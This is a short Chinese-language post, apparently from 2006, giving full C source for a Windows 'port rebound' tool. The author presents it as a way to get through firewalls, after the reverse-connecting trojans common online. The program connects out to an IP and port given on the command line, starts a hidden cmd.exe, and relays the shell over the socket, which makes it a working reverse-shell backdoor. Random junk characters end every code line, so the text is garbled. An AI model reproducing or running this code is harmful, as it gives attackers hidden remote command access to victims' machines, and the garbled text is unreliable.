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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6tP^_9njy  
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/* ============================== N2C^'dFj  
Rebound port in Windows NT XO\P4x :c  
By wind,2006/7 +HNQ2YZ  
===============================*/ 4j/8Otn  
#include [Q)lJTs  
#include Byon2|nf7  
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#pragma comment(lib,"wsock32.lib") !k&<  
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void OutputShell(); RM,r0Kv17Y  
SOCKET sClient; 3pm;?6i6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; " >;},$  
#Jg )HU9  
void main(int argc,char **argv) A`IE8@&Z'  
{ 2TY|)ltsF  
WSADATA stWsaData; K47W7zR  
int nRet; (]rtBeT  
SOCKADDR_IN stSaiClient,stSaiServer; 5&6S["lt  
kIM* K%L}  
if(argc != 3) #Ey!?Z  
{ wz;IKdk[  
printf("Useage:\n\rRebound DestIP DestPort\n"); Dk8" H >*  
return; .|cQ0:B[  
} N-;e" g  
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WSAStartup(MAKEWORD(2,2),&stWsaData); jiz"`,-},O  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %KRAcCa7  
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stSaiClient.sin_family = AF_INET; jF{zcYU  
stSaiClient.sin_port = htons(0); ,D>$N3;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jFnq{L t  
5G= 2=E  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) KI#),~n S  
{ Q+gQ"l,95  
printf("Bind Socket Failed!\n"); `AQv\@wp  
return; P)ZGNtO9fG  
} K5'@$Km  
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stSaiServer.sin_family = AF_INET;  >Xh 9{/o  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #~ UG9@a  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p-r}zc9@  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^#p S u  
{ &`GQS|  
printf("Connect Error!"); _=8x?fC:rl  
return; sZ7{_}B  
} EnZrnoGM  
OutputShell(); wSnY;Z9W_  
} @~xNax&^  
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void OutputShell() (?D47^F &  
{ h@t&n@8O?  
char szBuff[1024]; u\.7#D>  
SECURITY_ATTRIBUTES stSecurityAttributes; U C3?XoT\  
OSVERSIONINFO stOsversionInfo; WTZP}p1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u-yQP@^H  
STARTUPINFO stStartupInfo; %jim] ]<S[  
char *szShell; #GY;.,  
PROCESS_INFORMATION stProcessInformation; -# |J  
unsigned long lBytesRead; n ;y<!L7  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); rx CSs  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); NAlYfbp  
stSecurityAttributes.lpSecurityDescriptor = 0; D~G24k6b3  
stSecurityAttributes.bInheritHandle = TRUE; ?,O{,2}  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C1Slx !}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 3u3(BY{"\F  
ci <`*>l  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =4 36/O`K  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c7E=1*C<  
stStartupInfo.wShowWindow = SW_HIDE; Z>{3t/`  
stStartupInfo.hStdInput = hReadPipe; DI"mi1ObE  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Rku9? zf^  
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GetVersionEx(&stOsversionInfo); ZC@sUj"  
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switch(stOsversionInfo.dwPlatformId) XL1v&'HLV  
{ F$N"&<[c  
case 1: Wf +j/RxTi  
szShell = "command.com"; bO^#RVH  
break; )#N)w5DU  
default: " +'E  
szShell = "cmd.exe"; c~K^ooS-  
break; PTXy:>]M  
} TL U^ad#9E  
p'fU}B1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DP6M4  
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send(sClient,szMsg,77,0); %+ynrg-  
while(1) _pnJ/YE  
{ J] ^)vxm3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ph'*s{   
if(lBytesRead) DBI[OG9  
{ `BG{\3>  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JBo/<W#|  
send(sClient,szBuff,lBytesRead,0); rhGHR5 g  
} /pt%*;H  
else \cP\I5IW:s  
{ 8%nb1CA  
lBytesRead=recv(sClient,szBuff,1024,0); .^6"nnfA#  
if(lBytesRead<=0) break; 6hv4D`d;o  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); W2e~!:w  
} SQ9s  
} +1zCb=;!{  
! ~u;CMR  
return; v}q3_m]   
}
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